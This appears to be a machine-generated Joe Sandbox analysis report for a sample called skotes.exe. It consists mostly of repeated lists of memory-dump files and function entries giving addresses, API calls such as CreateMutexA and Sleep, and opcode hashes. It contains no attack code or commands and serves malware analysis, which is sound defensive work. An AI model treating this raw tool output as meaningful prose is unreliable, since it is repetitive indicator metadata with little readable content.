Associated: 00000001.00000002.1872825136.0000000000932000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872844113.000000000093D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872867947.0000000000953000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872885972.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872904867.0000000000955000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872923139.0000000000959000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872940327.0000000000961000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872957897.0000000000962000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872979077.0000000000963000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872999731.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873017271.0000000000976000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873034510.0000000000977000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873051633.0000000000985000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873070206.000000000098C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873088824.000000000098E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873108466.0000000000996000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873131256.00000000009A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873154881.00000000009A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873154881.00000000009D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873211963.0000000000A04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873233213.0000000000A05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873252166.0000000000A06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873272194.0000000000A09000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873289325.0000000000A0B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873315977.0000000000A1A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873338303.0000000000A1B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_710000_skotes.jbxd

Yara matches

Similarity

API ID: ___free_lconv_mon
String ID: 8"w$`'w
API String ID: 3903695350-1951729946
Opcode ID: b10a22cf27ba1aab4565f40c3d991f05f00ac71c9cf87ae8605a33023ae40fd2
Instruction ID: 66fc5eecc33a1c6f4bd654e370f6d1f666104f9bbe2ac64c7c58ff70b211785b
Opcode Fuzzy Hash: b10a22cf27ba1aab4565f40c3d991f05f00ac71c9cf87ae8605a33023ae40fd2
Instruction Fuzzy Hash: 4F315C32A00242EFEB21AE39D849B5B73E8EF04352F104429F459D7599DF78EC80CB15

Analysis Process: skotes.exePID: 7472, Parent PID: 1044COMMON

Execution Graph

Execution Coverage:	0.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	602
Total number of Limit Nodes:	4

Executed Functions

Function 0074652B Relevance: 1.5, APIs: 1, Instructions: 24
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32(?,?,0074652A,?,?,?,?,?,00747661), ref: 00746567

Memory Dump Source

Source File: 00000002.00000002.1875860672.0000000000711000.00000040.00000001.01000000.00000007.sdmp, Offset: 00710000, based on PE: true

Associated: 00000002.00000002.1875821075.0000000000710000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1875860672.0000000000772000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1875983687.0000000000779000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1876024181.000000000077B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1876067098.0000000000785000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1876110225.0000000000786000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1876152057.0000000000787000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1876335437.00000000008D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1876367559.00000000008D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1876400996.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1876436345.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1876472751.00000000008F0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1876472751.00000000008F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1876554507.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1877028418.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1877070327.0000000000915000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1877092655.0000000000916000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1877123055.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1877142202.000000000091A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1877168226.0000000000928000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1877194197.0000000000929000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1877311251.0000000000932000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1877338844.000000000093D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1877428693.0000000000953000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1878155602.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1878182635.0000000000955000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1878212598.0000000000959000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1878285156.0000000000961000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1878339299.0000000000962000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1878579134.0000000000963000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1878629035.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1878809595.0000000000976000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1878895976.0000000000977000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1879273306.0000000000985000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1880056253.000000000098C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1880086447.000000000098E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1880117281.0000000000996000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1880207419.00000000009A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1880239951.00000000009A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1880239951.00000000009D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1880324440.0000000000A04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1880736260.0000000000A05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1880955900.0000000000A06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1881105680.0000000000A09000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1881146238.0000000000A0B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1881231534.0000000000A1A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1881261563.0000000000A1B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_710000_skotes.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 3e732ce60144b3d80ef439941302eb596f1ef04052ce28cfa5439188131deeae
Instruction ID: 2acac6538359720f949bb679d4972583273f81b062b4e05b75439d8d229cc85f
Opcode Fuzzy Hash: 3e732ce60144b3d80ef439941302eb596f1ef04052ce28cfa5439188131deeae
Instruction Fuzzy Hash: ABE08C30041108EECF25BB18C81DD897B6AEB92749F010810FC189A22ACB29EE92D681

Function 00719BA5 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 140
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0071A963
CreateMutexA.KERNELBASE(00000000,00000000,00773254), ref: 0071A981

Strings

T2w, xrefs: 0071A970

Memory Dump Source

Source File: 00000002.00000002.1875860672.0000000000711000.00000040.00000001.01000000.00000007.sdmp, Offset: 00710000, based on PE: true

Associated: 00000002.00000002.1875821075.0000000000710000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1875860672.0000000000772000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1875983687.0000000000779000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1876024181.000000000077B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1876067098.0000000000785000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1876110225.0000000000786000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1876152057.0000000000787000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1876335437.00000000008D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1876367559.00000000008D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1876400996.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1876436345.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1876472751.00000000008F0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1876472751.00000000008F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1876554507.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1877028418.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1877070327.0000000000915000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1877092655.0000000000916000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1877123055.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1877142202.000000000091A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1877168226.0000000000928000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1877194197.0000000000929000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1877311251.0000000000932000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1877338844.000000000093D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1877428693.0000000000953000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1878155602.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1878182635.0000000000955000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1878212598.0000000000959000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1878285156.0000000000961000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1878339299.0000000000962000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1878579134.0000000000963000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1878629035.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1878809595.0000000000976000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1878895976.0000000000977000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1879273306.0000000000985000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1880056253.000000000098C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1880086447.000000000098E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1880117281.0000000000996000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1880207419.00000000009A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1880239951.00000000009A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1880239951.00000000009D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1880324440.0000000000A04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1880736260.0000000000A05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1880955900.0000000000A06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1881105680.0000000000A09000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1881146238.0000000000A0B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1881231534.0000000000A1A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1881261563.0000000000A1B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_710000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2w
API String ID: 1464230837-3085299600
Opcode ID: 2c6e27c938dfc698d4eff1c8ab6dab0400fc3784a97dec42bbbef5c9142c64f9
Instruction ID: d71208a0eb292cc17cb439a92b7e201cf14b3bc9f990b6b64b71f40f2e7aeac0
Opcode Fuzzy Hash: 2c6e27c938dfc698d4eff1c8ab6dab0400fc3784a97dec42bbbef5c9142c64f9
Instruction Fuzzy Hash: CF314671705200DBEB18EB7CDC897ADB762EBC2314F248218E054973D6D77E9AC587A2

Function 00719F44 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 137
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0071A963
CreateMutexA.KERNELBASE(00000000,00000000,00773254), ref: 0071A981

Strings

T2w, xrefs: 0071A970

Memory Dump Source

Source File: 00000002.00000002.1875860672.0000000000711000.00000040.00000001.01000000.00000007.sdmp, Offset: 00710000, based on PE: true

Associated: 00000002.00000002.1875821075.0000000000710000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1875860672.0000000000772000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1875983687.0000000000779000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1876024181.000000000077B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1876067098.0000000000785000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1876110225.0000000000786000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1876152057.0000000000787000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1876335437.00000000008D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1876367559.00000000008D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1876400996.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1876436345.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1876472751.00000000008F0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1876472751.00000000008F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1876554507.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1877028418.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1877070327.0000000000915000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1877092655.0000000000916000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1877123055.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1877142202.000000000091A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1877168226.0000000000928000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1877194197.0000000000929000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1877311251.0000000000932000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1877338844.000000000093D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1877428693.0000000000953000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1878155602.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1878182635.0000000000955000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1878212598.0000000000959000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1878285156.0000000000961000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1878339299.0000000000962000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1878579134.0000000000963000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1878629035.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1878809595.0000000000976000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1878895976.0000000000977000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1879273306.0000000000985000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1880056253.000000000098C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1880086447.000000000098E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1880117281.0000000000996000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1880207419.00000000009A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1880239951.00000000009A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1880239951.00000000009D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1880324440.0000000000A04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1880736260.0000000000A05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1880955900.0000000000A06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1881105680.0000000000A09000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1881146238.0000000000A0B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1881231534.0000000000A1A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1881261563.0000000000A1B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_710000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2w
API String ID: 1464230837-3085299600
Opcode ID: 4f94939d6887db03910b12a6f626312030dfa582a7c406a08d6a7363559b0f70
Instruction ID: 3faacf849259dbf97762348efc7937991f83081b3cb5a54520109ba370ad70c8
Opcode Fuzzy Hash: 4f94939d6887db03910b12a6f626312030dfa582a7c406a08d6a7363559b0f70
Instruction Fuzzy Hash: 50312831701100EBEB18EB6CD8897ECB766EBC5314F24861DE058D72D2D73E99C58752

Function 0071A079 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 136
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0071A963
CreateMutexA.KERNELBASE(00000000,00000000,00773254), ref: 0071A981

Strings

T2w, xrefs: 0071A970

Memory Dump Source

Source File: 00000002.00000002.1875860672.0000000000711000.00000040.00000001.01000000.00000007.sdmp, Offset: 00710000, based on PE: true

Associated: 00000002.00000002.1875821075.0000000000710000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1875860672.0000000000772000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1875983687.0000000000779000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1876024181.000000000077B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1876067098.0000000000785000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1876110225.0000000000786000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1876152057.0000000000787000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1876335437.00000000008D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1876367559.00000000008D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1876400996.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1876436345.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1876472751.00000000008F0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1876472751.00000000008F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1876554507.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1877028418.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1877070327.0000000000915000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1877092655.0000000000916000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1877123055.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1877142202.000000000091A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1877168226.0000000000928000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1877194197.0000000000929000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1877311251.0000000000932000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1877338844.000000000093D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1877428693.0000000000953000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1878155602.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1878182635.0000000000955000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1878212598.0000000000959000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1878285156.0000000000961000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1878339299.0000000000962000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1878579134.0000000000963000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1878629035.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1878809595.0000000000976000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1878895976.0000000000977000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1879273306.0000000000985000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1880056253.000000000098C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1880086447.000000000098E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1880117281.0000000000996000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1880207419.00000000009A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1880239951.00000000009A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1880239951.00000000009D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1880324440.0000000000A04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1880736260.0000000000A05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1880955900.0000000000A06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1881105680.0000000000A09000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1881146238.0000000000A0B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1881231534.0000000000A1A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1881261563.0000000000A1B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_710000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2w
API String ID: 1464230837-3085299600
Opcode ID: a21e802473f9924fef9d0e16c70b59a2828c78caf871d0f63cf627ea0cc2b24a
Instruction ID: 9dffb8897fe9e8972337a9b7cde6fe2869e0976e77bb227d7ba07ce4913b6418
Opcode Fuzzy Hash: a21e802473f9924fef9d0e16c70b59a2828c78caf871d0f63cf627ea0cc2b24a
Instruction Fuzzy Hash: E1312831B01104ABEB18DB7CDC89BADB772DF86314F24821DE014972D6D73EA9C49656

Function 0071A1AE Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 135
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0071A963
CreateMutexA.KERNELBASE(00000000,00000000,00773254), ref: 0071A981

Strings

T2w, xrefs: 0071A970

Memory Dump Source

Source File: 00000002.00000002.1875860672.0000000000711000.00000040.00000001.01000000.00000007.sdmp, Offset: 00710000, based on PE: true

Associated: 00000002.00000002.1875821075.0000000000710000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1875860672.0000000000772000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1875983687.0000000000779000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1876024181.000000000077B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1876067098.0000000000785000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1876110225.0000000000786000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1876152057.0000000000787000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1876335437.00000000008D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1876367559.00000000008D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1876400996.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1876436345.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1876472751.00000000008F0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1876472751.00000000008F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1876554507.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1877028418.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1877070327.0000000000915000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1877092655.0000000000916000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1877123055.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1877142202.000000000091A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1877168226.0000000000928000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1877194197.0000000000929000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1877311251.0000000000932000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1877338844.000000000093D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1877428693.0000000000953000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1878155602.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1878182635.0000000000955000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1878212598.0000000000959000.00000040.00000001.01000000.00000007.sdmpDownload File
